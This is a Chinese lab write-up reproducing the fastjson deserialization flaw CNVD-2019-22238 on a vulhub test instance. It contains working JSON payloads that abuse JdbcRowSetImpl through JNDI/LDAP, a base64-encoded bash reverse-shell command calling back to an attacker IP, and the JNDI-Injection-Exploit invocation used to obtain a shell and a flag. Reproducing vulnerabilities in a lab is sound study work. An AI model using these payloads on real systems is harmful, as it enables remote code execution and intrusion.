zl程序教程

您现在的位置是:首页 >  Javascript

当前栏目

CNVD-2019-22238 fastjson反序列化漏洞

2023-02-18 16:48:05 时间

漏洞简介

事项

描述

漏洞概述

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

影响范围

1.2.48以前的版本

漏洞编号

CNVD-2019-22238

漏洞搭建

这里使用vulhub的fastjson/1.2.47-rce进行复现。

访问http://192.168.146.167:64725/

漏洞复现

使用工具进行检测

发现dnslog有数据,说明存在漏洞。

查看对应的payload

 [6]{    "a": {        "@type": "java.lang.Class",        "val": "com.sun.rowset.JdbcRowSetImpl"    },    "b": {        "@type": "com.sun.rowset.JdbcRowSetImpl",        "dataSourceName": "ldap://test6.j6i2jc.dnslog.cn/Exploit",        "autoCommit": true    }}

然后再进行抓包,添入payload,手工再测一遍。发现确实存在。

验证有漏洞之后,就尝试反弹shell。这里使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行进一步的漏洞利用。

 反弹的的ip和端口是192.168.146.161和10000
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}

执行以下命令,进行反弹shell。

 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}"

由于不知道对方java的版本,所以就一个个试。

然后发现漏洞利用成功

 {    "a": {        "@type": "java.lang.Class",        "val": "com.sun.rowset.JdbcRowSetImpl"    },    "b": {        "@type": "com.sun.rowset.JdbcRowSetImpl",        "dataSourceName": "ldap://192.168.146.161:1389/5jdmca",        "autoCommit": true    }}

成功反弹了shell。

进入tmp目录下,成功拿到flag。